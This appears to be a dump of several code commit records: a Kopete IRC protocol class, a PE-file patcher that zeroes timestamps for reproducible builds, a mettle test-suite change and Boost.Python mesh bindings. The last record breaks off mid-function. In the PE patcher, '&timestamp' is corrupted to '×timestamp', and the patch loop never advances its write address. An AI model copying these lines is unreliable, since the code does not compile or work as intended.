this, \"actionIRCDisconnect\" );\n\n\tkdDebug(14120) << k_funcinfo << endl;\n\t\/\/ Load all ICQ icons from KDE standard dirs\n\n\tsetStatusIcon( \"irc_protocol_offline\" );\n\n\tnew IRCPreferences(\"irc_protocol\", this);\n\n\tKConfig *cfg = KGlobal::config();\n\tcfg->setGroup(\"IRC\");\n\tidentity = new IRCIdentity( cfg->readEntry(\"Nickname\", \"KopeteUser\") + \"@\" + cfg->readEntry(\"Server\", \"irc.freenode.net\") + \":\" + cfg->readEntry(\"Port\", \"6667\"), this);\n}\n\nIRCProtocol::~IRCProtocol()\n{\n\t\/\/delete identity;\n}\n\nKActionMenu* IRCProtocol::protocolActions()\n{\n\tif (!m_actionMenu)\n\t{\n\t\tm_actionMenu = new KActionMenu( \"IRC\", this );\n\t\tm_actionMenu->popupMenu()->insertTitle(SmallIcon( \"irc_protocol_small\" ), i18n( \"IRC\" ) );\n\t\tm_actionMenu->insert(actionConnect);\n\t\tm_actionMenu->insert(actionDisconnect);\n\t}\n\treturn m_actionMenu;\n}\n\nvoid IRCProtocol::connect()\n{\n\tidentity->connect();\n}\n\nvoid IRCProtocol::disconnect()\n{\n\tidentity->disconnect();\n}\n\nconst QString IRCProtocol::protocolIcon()\n{\n\treturn \"irc_protocol_small\";\n}\n\nvoid IRCProtocol::init()\n{\n\n}\n\nAddContactPage *IRCProtocol::createAddContactWidget(QWidget *parent)\n{\n\treturn new IRCAddContactPage(this,parent);\n}\n\nEditIdentityWidget *IRCProtocol::createEditIdentityWidget(KopeteIdentity *identity, QWidget *parent)\n{\n\treturn new IRCEditIdentityWidget(this, static_cast<IRCIdentity*>(identity),parent);\n}\n\nKopeteIdentity *IRCProtocol::createNewIdentity(const QString &identityId)\n{\n\tif( !mIdentityMap.contains( identityId ) )\n\t{\n\t\tIRCIdentity *id = new IRCIdentity( identityId, this );\n\t\tmIdentityMap[ identityId ] = id;\n\t}\n\n\treturn mIdentityMap[ identityId ];\n}\n\nvoid IRCProtocol::deserializeContact( KopeteMetaContact *metaContact, const QMap<QString, QString> &serializedData,\n\tconst QMap<QString, QString> & \/* addressBookData *\/ )\n{\n\tQString contactId = serializedData[ \"contactId\" ];\n\tif( !contacts()[ contactId ] )\n\t{\n\t\tQString displayName = serializedData[ \"displayName\" ];\n\t\tif( displayName.isEmpty() )\n\t\t\tdisplayName = contactId;\n\n\t\tidentity->addContact( contactId, displayName, metaContact );\n\t}\n}\n\n#include \"ircprotocol.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2016 Jason White\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <vector>\n\n#include \"pefile.h\"\n#include \"pemap.h\"\n#include \"pepatch.h\"\n\nnamespace {\n\n\/**\n * A range of memory to patch. This is used to keep track of what needs to be\n * patched in the PE file.\n *\n * All the patch locations need to be found before finishing parsing. If we\n * patched while parsing, then parsing could fail and we could be left with an\n * incomplete patch. Thus, we keep a list of patches and patch everything all at\n * once to mitigate failure cases.\n *\/\nstruct Patch\n{\n \/\/ Location to patch.\n uint8_t* addr;\n\n \/\/ Length of the data.\n size_t length;\n\n \/\/ Data overwrite the given location with.\n const uint8_t* data;\n\n Patch(uint8_t* addr, size_t length, const uint8_t* data)\n : addr(addr), length(length), data(data)\n {}\n\n template<typename T>\n Patch(T* addr, const T* data)\n : addr((uint8_t*)addr),\n length(sizeof(T)),\n data((const uint8_t*)data)\n {\n }\n\n \/**\n * Applies the patch. Note that no bounds checking is done. It is assumed\n * that it has already been done.\n *\/\n void apply() {\n for (size_t i = 0; i < length; ++i)\n *addr = data[i];\n }\n};\n\nclass Patches\n{\nprivate:\n \/\/ List of patches\n std::vector<Patch> _patches;\n\npublic:\n\n Patches() {}\n ~Patches() {}\n\n void add(Patch patch);\n\n void applyAll();\n};\n\nvoid Patches::add(Patch patch) {\n _patches.push_back(patch);\n}\n\nvoid Patches::applyAll() {\n for (auto&& patch: _patches)\n patch.apply();\n}\n\n}\n\nvoid patchImage(const char* imagePath, const char* pdbPath) {\n MemMap image(imagePath);\n\n \/\/ Replacement for timestamps\n const uint32_t timestamp = 0;\n\n uint8_t* pStart = (uint8_t*)image.buf();\n uint8_t* pEnd = pStart + image.length();\n uint8_t* p = pStart;\n\n Patches patches;\n\n if (image.length() < sizeof(IMAGE_DOS_HEADER))\n throw InvalidImage(\"missing DOS header\");\n\n IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)p;\n if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n throw InvalidImage(\"invalid DOS signature\");\n\n \/\/ Skip to the NT headers. Note that we assume this is a PE32 (not a PE32+)\n \/\/ header for now.\n p += dosHeader->e_lfanew;\n if (p + sizeof(IMAGE_NT_HEADERS32) >= pEnd)\n throw InvalidImage(\"missing IMAGE_NT_HEADERS\");\n\n IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*)p;\n\n \/\/ Check the signature\n if (ntHeaders->Signature != *(const uint32_t*)\"PE\\0\\0\")\n throw InvalidImage(\"invalid PE signature\");\n\n \/\/ Eliminate non-determinism\n patches.add(Patch(&ntHeaders->FileHeader.TimeDateStamp, ×tamp));\n patches.add(Patch(&ntHeaders->OptionalHeader.CheckSum, ×tamp));\n\n patches.applyAll();\n}\n<commit_msg>Minor fefactoring<commit_after>\/*\n * Copyright (c) 2016 Jason White\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <vector>\n\n#include \"pefile.h\"\n#include \"pemap.h\"\n#include \"pepatch.h\"\n\nnamespace {\n\n\/**\n * A range of memory to patch. This is used to keep track of what needs to be\n * patched in the PE file.\n *\n * All the patch locations need to be found before finishing parsing. If we\n * patched while parsing, then parsing could fail and we could be left with an\n * incomplete patch. Thus, we keep a list of patches and patch everything all at\n * once to mitigate failure cases.\n *\/\nstruct Patch\n{\n \/\/ Location to patch.\n uint8_t* addr;\n\n \/\/ Length of the data.\n size_t length;\n\n \/\/ Data overwrite the given location with.\n const uint8_t* data;\n\n Patch(uint8_t* addr, size_t length, const uint8_t* data)\n : addr(addr), length(length), data(data)\n {}\n\n template<typename T>\n Patch(T* addr, const T* data)\n : addr((uint8_t*)addr),\n length(sizeof(T)),\n data((const uint8_t*)data)\n {\n }\n\n \/**\n * Applies the patch. Note that no bounds checking is done. It is assumed\n * that it has already been done.\n *\/\n void apply() {\n for (size_t i = 0; i < length; ++i)\n *addr = data[i];\n }\n};\n\nclass Patches\n{\nprivate:\n \/\/ List of patches\n std::vector<Patch> _patches;\n\npublic:\n\n Patches() {}\n ~Patches() {}\n\n void add(Patch patch) {\n _patches.push_back(patch);\n }\n\n void applyAll() {\n for (auto&& patch: _patches)\n patch.apply();\n }\n};\n\n\n}\n\nvoid patchImage(const char* imagePath, const char* pdbPath) {\n MemMap image(imagePath);\n\n \/\/ Replacement for timestamps\n const uint32_t timestamp = 0;\n\n uint8_t* pStart = (uint8_t*)image.buf();\n uint8_t* pEnd = pStart + image.length();\n uint8_t* p = pStart;\n\n Patches patches;\n\n if (image.length() < sizeof(IMAGE_DOS_HEADER))\n throw InvalidImage(\"missing DOS header\");\n\n IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)p;\n if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n throw InvalidImage(\"invalid DOS signature\");\n\n \/\/ Skip to the NT headers. Note that we assume this is a PE32 (not a PE32+)\n \/\/ header for now.\n p += dosHeader->e_lfanew;\n if (p + sizeof(IMAGE_NT_HEADERS32) >= pEnd)\n throw InvalidImage(\"missing IMAGE_NT_HEADERS\");\n\n IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*)p;\n\n \/\/ Check the signature\n if (ntHeaders->Signature != *(const uint32_t*)\"PE\\0\\0\")\n throw InvalidImage(\"invalid PE signature\");\n\n \/\/ Eliminate non-determinism\n patches.add(Patch(&ntHeaders->FileHeader.TimeDateStamp, ×tamp));\n patches.add(Patch(&ntHeaders->OptionalHeader.CheckSum, ×tamp));\n\n patches.applyAll();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <mettle.hpp>\nusing namespace mettle;\n\n#include \"run_counter.hpp\"\n\ntemplate<typename F, typename Tuple, std::size_t ...I>\ndecltype(auto) apply_impl(F &&f, Tuple &&t, std::index_sequence<I...>) {\n return std::forward<F>(f)(std::get<I>(std::forward<Tuple>(t))...);\n}\n\ntemplate<typename F, typename Tuple>\ndecltype(auto) apply(F&& f, Tuple &&t) {\n using Indices = std::make_index_sequence<\n std::tuple_size<std::decay_t<Tuple>>::value\n >;\n return apply_impl(std::forward<F>(f), std::forward<Tuple>(t), Indices());\n}\n\ntemplate<typename Tuple>\nstruct run_counter_from_tuple_t;\n\ntemplate<typename ...T>\nstruct run_counter_from_tuple_t<std::tuple<T...>> {\n using type = run_counter<T &...>;\n};\n\ntemplate<typename Tuple>\nusing run_counter_from_tuple = typename run_counter_from_tuple_t<Tuple>::type;\n\nusing namespace mettle::detail;\n\nsuite<std::tuple<>, std::tuple<int, int>>\ntest_test_caller(\"test_caller\", [](auto &_) {\n using Fixture = fixture_type_t<decltype(_)>;\n\n _.test(\"test with no fixture\", [](auto &tup) {\n run_counter_from_tuple<Fixture> setup, teardown, test;\n test_caller<auto_factory_t, Fixture> t(\n auto_factory, setup, teardown, test\n );\n apply(t, tup);\n\n expect(\"setup run count\", setup.runs(), equal_to(1));\n expect(\"test run count\", test.runs(), equal_to(1));\n expect(\"teardown run count\", teardown.runs(), equal_to(1));\n });\n\n\/\/ XXX: Enable this test on MSVC (it triggers an ICE somewhere).\n#if !defined(_MSC_VER) || defined(__clang__)\n _.test(\"test with auto fixture\", [](auto &tup) {\n run_counter_from_tuple<decltype(\n std::tuple_cat(tup, std::tuple<int>())\n )> setup, teardown, test;\n test_caller<auto_factory_t, Fixture, int> t(\n auto_factory, setup, teardown, test\n );\n apply(t, tup);\n\n expect(\"setup run count\", setup.runs(), equal_to(1));\n expect(\"test run count\", test.runs(), equal_to(1));\n expect(\"teardown run count\", teardown.runs(), equal_to(1));\n });\n#endif\n\n _.test(\"test with type-only fixture\", [](auto &tup) {\n run_counter_from_tuple<Fixture> setup, teardown, test;\n test_caller<type_only_factory_t, Fixture, int> t(\n type_only, setup, teardown, test\n );\n apply(t, tup);\n\n expect(\"setup run count\", setup.runs(), equal_to(1));\n expect(\"test run count\", test.runs(), equal_to(1));\n expect(\"teardown run count\", teardown.runs(), equal_to(1));\n });\n});\n<commit_msg>Enable test_caller tests on MSVC<commit_after>#include <mettle.hpp>\nusing namespace mettle;\n\n#include \"run_counter.hpp\"\n\ntemplate<typename F, typename Tuple, std::size_t ...I>\ndecltype(auto) apply_impl(F &&f, Tuple &&t, std::index_sequence<I...>) {\n return std::forward<F>(f)(std::get<I>(std::forward<Tuple>(t))...);\n}\n\ntemplate<typename F, typename Tuple>\ndecltype(auto) apply(F&& f, Tuple &&t) {\n using Indices = std::make_index_sequence<\n std::tuple_size<std::decay_t<Tuple>>::value\n >;\n return apply_impl(std::forward<F>(f), std::forward<Tuple>(t), Indices());\n}\n\ntemplate<typename Tuple>\nstruct run_counter_from_tuple_t;\n\ntemplate<typename ...T>\nstruct run_counter_from_tuple_t<std::tuple<T...>> {\n using type = run_counter<T &...>;\n};\n\ntemplate<typename Tuple>\nusing run_counter_from_tuple = typename run_counter_from_tuple_t<Tuple>::type;\n\nusing namespace mettle::detail;\n\nsuite<std::tuple<>, std::tuple<int, int>>\ntest_test_caller(\"test_caller\", [](auto &_) {\n using Fixture = fixture_type_t<decltype(_)>;\n\n _.test(\"test with no fixture\", [](auto &tup) {\n run_counter_from_tuple<Fixture> setup, teardown, test;\n test_caller<auto_factory_t, Fixture> t(\n auto_factory, setup, teardown, test\n );\n apply(t, tup);\n\n expect(\"setup run count\", setup.runs(), equal_to(1));\n expect(\"test run count\", test.runs(), equal_to(1));\n expect(\"teardown run count\", teardown.runs(), equal_to(1));\n });\n\n _.test(\"test with auto fixture\", [](auto &tup) {\n run_counter_from_tuple<decltype(\n std::tuple_cat(tup, std::tuple<int>())\n )> setup, teardown, test;\n test_caller<auto_factory_t, Fixture, int> t(\n auto_factory, setup, teardown, test\n );\n apply(t, tup);\n\n expect(\"setup run count\", setup.runs(), equal_to(1));\n expect(\"test run count\", test.runs(), equal_to(1));\n expect(\"teardown run count\", teardown.runs(), equal_to(1));\n });\n\n _.test(\"test with type-only fixture\", [](auto &tup) {\n run_counter_from_tuple<Fixture> setup, teardown, test;\n test_caller<type_only_factory_t, Fixture, int> t(\n type_only, setup, teardown, test\n );\n apply(t, tup);\n\n expect(\"setup run count\", setup.runs(), equal_to(1));\n expect(\"test run count\", test.runs(), equal_to(1));\n expect(\"teardown run count\", teardown.runs(), equal_to(1));\n });\n});\n<|endoftext|>"} {"text":"<commit_before>#include \"bs_mesh_stdafx.h\"\n\n#include \"py_rs_mesh.h\"\n#include \"bs_mesh_grdecl.h\"\n\n#include \"export_python_wrapper.h\"\n#include \"py_pair_converter.h\"\n#include <boost\/python\/tuple.hpp>\n\n#ifdef BSPY_EXPORTING_PLUGIN\nusing namespace boost::python;\n\nnamespace blue_sky { namespace python {\n\nvoid init_props1(bs_mesh_grdecl& m, t_long nx, t_long ny, t_long nz,\n\tspv_float dx, spv_float dy, spv_float dz)\n{\n\tm.init_props(nx, ny, nz, dx, dy, dz);\n}\n\nvoid init_props2(bs_mesh_grdecl& m, t_long nx, t_long ny, spv_float coord, spv_float zcorn) {\n\tm.init_props(nx, ny, coord, zcorn);\n}\n\nPY_EXPORTER (mesh_grdecl_exporter, rs_mesh_iface_exporter)\n\t.def (\"get_ext_to_int\", &T::get_ext_to_int, args(\"\"), \"Return reference to external-to-internal mesh index\")\n\t.def (\"get_int_to_ext\", &T::get_int_to_ext, args(\"\"), \"Return reference to internal-to-external mesh index\")\n\t.def (\"get_volumes\", &T::get_volumes, args(\"\"), \"Return reference to volumes vector\")\n\t.def (\"get_dimensions_range\", &T::get_dimensions_range, args(\"dim1_max, dim1_min, dim2_max, dim2_min, dim3_max, dim3_min\"), \"Get dimensions ranges\")\n\t.def (\"get_element_size\", &T::get_element_size, args (\"n_elem, dx, dy, dz\"), \"get elements sizes\")\n\t.def (\"get_element_dz\", &T::get_element_dim3_size, args (\"n_elem\"), \"get elements dz by internal index\")\n\t.def (\"get_element_dz_ext\", &T::get_element_dim3_size_ext, args (\"i, j, k\"), \"get elements dz by external index\")\n\t.def (\"get_element_ijk_to_int\", &T::get_element_ijk_to_int, args (\"i, j, k\"), \"get elements sizes\")\n\t.def (\"get_n_active_elements\", &T::get_n_active_elements, args (\"\"), \"Get elements sizes\")\n\t.def (\"calc_element_tops\", &T::calc_element_tops, args (\"\"), \"Calc element tops\")\n\t.def (\"calc_element_center\", &T::calc_element_center, args (\"\"), \"Calc element center\")\n\t.def (\"calc_cells_vertices\", &T::calc_cells_vertices)\n\t.def (\"init_props\", &init_props1)\n\t.def (\"init_props\", &init_props2)\n\t.def (\"get_element_sizes\", &T::get_element_sizes)\n\t;\nPY_EXPORTER_END;\n\n}} \/\/ eof blue_sky::python\n\nnamespace {\nusing namespace blue_sky;\nusing namespace blue_sky::python;\n\n\/\/ same as grdecl exporter, but also export gen_coord_zcorn\ntemplate <typename T>\nstruct mesh_grdecl_exporter_plus {\n\ttypedef t_long int_t;\n\ttypedef t_double fp_t;\n\ttypedef spv_float spfp_storarr_t;\n\ttypedef spv_long spi_arr_t;\n\ttypedef typename spi_arr_t::pure_pointed_t int_arr_t;\n\ttypedef std::pair< spv_float, spv_float > coord_zcorn_pair;\n\n\t\/\/ gen_coord_zcorn overloads\n\tstatic coord_zcorn_pair gen_coord_zcorn1(int_t nx, int_t ny, int_t nz, spfp_storarr_t dx, spfp_storarr_t dy, spfp_storarr_t dz,\n\t\t\tfp_t x0, fp_t y0)\n\t{\n\t\treturn T::gen_coord_zcorn(nx, ny, nz, dx, dy, dz, x0, y0);\n\t}\n\tstatic coord_zcorn_pair gen_coord_zcorn2(int_t nx, int_t ny, int_t nz, spfp_storarr_t dx, spfp_storarr_t dy, spfp_storarr_t dz,\n\t\t\tfp_t x0)\n\t{\n\t\treturn T::gen_coord_zcorn(nx, ny, nz, dx, dy, dz, x0);\n\t}\n\tstatic coord_zcorn_pair gen_coord_zcorn3(int_t nx, int_t ny, int_t nz, spfp_storarr_t dx, spfp_storarr_t dy, spfp_storarr_t dz)\n\t{\n\t\treturn T::gen_coord_zcorn(nx, ny, nz, dx, dy, dz);\n\t}\n\n\t\/\/ refine_mesh_deltas with overloads\n\tstatic tuple refine_mesh_deltas(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t points,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh_deltas(nx, ny, coord, points, hit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh_deltas1(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t points) {\n\t\treturn refine_mesh_deltas(nx, ny, coord, points);\n\t}\n\tstatic tuple refine_mesh_deltas2(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t points, fp_t m_thresh) {\n\t\treturn refine_mesh_deltas(nx, ny, coord, points, m_thresh);\n\t}\n\n\t\/\/ refine_mesh with overloads\n\tstatic tuple refine_mesh(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn, spfp_storarr_t points,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh(nx, ny, coord, zcorn, points, hit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh1(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn, spfp_storarr_t points) {\n\t\treturn refine_mesh(nx, ny, coord, zcorn, points);\n\t}\n\tstatic tuple refine_mesh2(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn, spfp_storarr_t points, fp_t m_thresh) {\n\t\treturn refine_mesh(nx, ny, coord, zcorn, points, m_thresh);\n\t}\n\n\t\/\/ refine_mesh_deltas with overloads\n\t\/\/ (i,j) points format\n\tstatic tuple refine_mesh_deltas_ij(int_t nx, int_t ny, spfp_storarr_t coord,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh_deltas(nx, ny, coord, points_pos, points_param,\n\t\t\t\thit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh_deltas_ij1(int_t nx, int_t ny, spfp_storarr_t coord,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param)\n\t{\n\t\treturn refine_mesh_deltas_ij(nx, ny, coord, points_pos, points_param);\n\t}\n\n\tstatic tuple refine_mesh_deltas_ij2(int_t nx, int_t ny, spfp_storarr_t coord,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param, fp_t m_thresh)\n\t{\n\t\treturn refine_mesh_deltas_ij(nx, ny, coord, points_pos, points_param, m_thresh);\n\t}\n\n\t\/\/ refine_mesh with overloads\n\t\/\/ (i, j) points format\n\tstatic tuple refine_mesh_ij(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh(nx, ny, coord, zcorn, points_pos, points_param,\n\t\t\t\thit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh_ij1(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param)\n\t{\n\t\treturn refine_mesh_ij(nx, ny, coord, zcorn, points_pos, points_param);\n\t}\n\n\tstatic tuple refine_mesh_ij2(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param, fp_t m_thresh)\n\t{\n\t\treturn refine_mesh_ij(nx, ny, coord, zcorn, points_pos, points_param, m_thresh);\n\t}\n\n\ttemplate <typename class_t>\n\tstatic class_t &\n\texport_class (class_t &class__) {\n\t\tusing namespace boost::python;\n\n\t\tmesh_grdecl_exporter<T>::export_class (class__)\n\t\t\t.def(\"gen_coord_zcorn\", &T::gen_coord_zcorn, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.def(\"gen_coord_zcorn\", &gen_coord_zcorn1, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.def(\"gen_coord_zcorn\", &gen_coord_zcorn2, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.def(\"gen_coord_zcorn\", &gen_coord_zcorn3, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.staticmethod(\"gen_coord_zcorn\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas1, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas2, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas_ij, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas_ij1, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas_ij2, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.staticmethod(\"refine_mesh_deltas\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh1, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh2, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh_ij, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh_ij1, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh_ij2, \"Refine existing mesh in given points\")\n\t\t\t.staticmethod(\"refine_mesh\")\n\t\t\t;\n\t\treturn class__;\n\t}\n};\n\ntemplate< class fp_type >\nvoid reg_sparray_pair() {\n\t\/\/ register converter from pair of returned arrayes to python list\n\ttypedef std::pair< spv_float, spv_float > array_pair;\n\ttypedef bspy_converter< pair_traits< array_pair > > array_pair_converter;\n\tarray_pair_converter::register_to_py();\n\tarray_pair_converter::register_from_py();\n}\n\n} \/\/ eof hidden namespace\n\nnamespace blue_sky { namespace python {\n\nvoid py_export_mesh_grdecl () {\n\tclass_exporter< bs_mesh_grdecl, rs_mesh_iface, mesh_grdecl_exporter_plus >::export_class (\"mesh_grdecl\");\n\t\/\/reg_sparray_pair< float >();\n\treg_sparray_pair< double >();\n}\n\n}} \/\/ namespace blue_sky::python\n#endif\n<commit_msg>added vertices_xyz py-export<commit_after>#include \"bs_mesh_stdafx.h\"\n\n#include \"py_rs_mesh.h\"\n#include \"bs_mesh_grdecl.h\"\n\n#include \"export_python_wrapper.h\"\n#include \"py_pair_converter.h\"\n#include <boost\/python\/tuple.hpp>\n\n#ifdef BSPY_EXPORTING_PLUGIN\nusing namespace boost::python;\n\nnamespace blue_sky { namespace python {\n\nvoid init_props1(bs_mesh_grdecl& m, t_long nx, t_long ny, t_long nz,\n\tspv_float dx, spv_float dy, spv_float dz)\n{\n\tm.init_props(nx, ny, nz, dx, dy, dz);\n}\n\nvoid init_props2(bs_mesh_grdecl& m, t_long nx, t_long ny, spv_float coord, spv_float zcorn) {\n\tm.init_props(nx, ny, coord, zcorn);\n}\n\nPY_EXPORTER (mesh_grdecl_exporter, rs_mesh_iface_exporter)\n\t.def (\"get_ext_to_int\", &T::get_ext_to_int, args(\"\"), \"Return reference to external-to-internal mesh index\")\n\t.def (\"get_int_to_ext\", &T::get_int_to_ext, args(\"\"), \"Return reference to internal-to-external mesh index\")\n\t.def (\"get_volumes\", &T::get_volumes, args(\"\"), \"Return reference to volumes vector\")\n\t.def (\"get_dimensions_range\", &T::get_dimensions_range, args(\"dim1_max, dim1_min, dim2_max, dim2_min, dim3_max, dim3_min\"), \"Get dimensions ranges\")\n\t.def (\"get_element_size\", &T::get_element_size, args (\"n_elem, dx, dy, dz\"), \"get elements sizes\")\n\t.def (\"get_element_dz\", &T::get_element_dim3_size, args (\"n_elem\"), \"get elements dz by internal index\")\n\t.def (\"get_element_dz_ext\", &T::get_element_dim3_size_ext, args (\"i, j, k\"), \"get elements dz by external index\")\n\t.def (\"get_element_ijk_to_int\", &T::get_element_ijk_to_int, args (\"i, j, k\"), \"get elements sizes\")\n\t.def (\"get_n_active_elements\", &T::get_n_active_elements, args (\"\"), \"Get elements sizes\")\n\t.def (\"calc_element_tops\", &T::calc_element_tops, args (\"\"), \"Calc element tops\")\n\t.def (\"calc_element_center\", &T::calc_element_center, args (\"\"), \"Calc element center\")\n\t.def (\"calc_cells_vertices\", &T::calc_cells_vertices)\n\t.def (\"calc_cells_vertices_xyz\", &T::calc_cells_vertices_xyz)\n\t.def (\"init_props\", &init_props1)\n\t.def (\"init_props\", &init_props2)\n\t.def (\"get_element_sizes\", &T::get_element_sizes)\n\t;\nPY_EXPORTER_END;\n\n}} \/\/ eof blue_sky::python\n\nnamespace {\nusing namespace blue_sky;\nusing namespace blue_sky::python;\n\n\/\/ same as grdecl exporter, but also export gen_coord_zcorn\ntemplate <typename T>\nstruct mesh_grdecl_exporter_plus {\n\ttypedef t_long int_t;\n\ttypedef t_double fp_t;\n\ttypedef spv_float spfp_storarr_t;\n\ttypedef spv_long spi_arr_t;\n\ttypedef typename spi_arr_t::pure_pointed_t int_arr_t;\n\ttypedef std::pair< spv_float, spv_float > coord_zcorn_pair;\n\n\t\/\/ gen_coord_zcorn overloads\n\tstatic coord_zcorn_pair gen_coord_zcorn1(int_t nx, int_t ny, int_t nz, spfp_storarr_t dx, spfp_storarr_t dy, spfp_storarr_t dz,\n\t\t\tfp_t x0, fp_t y0)\n\t{\n\t\treturn T::gen_coord_zcorn(nx, ny, nz, dx, dy, dz, x0, y0);\n\t}\n\tstatic coord_zcorn_pair gen_coord_zcorn2(int_t nx, int_t ny, int_t 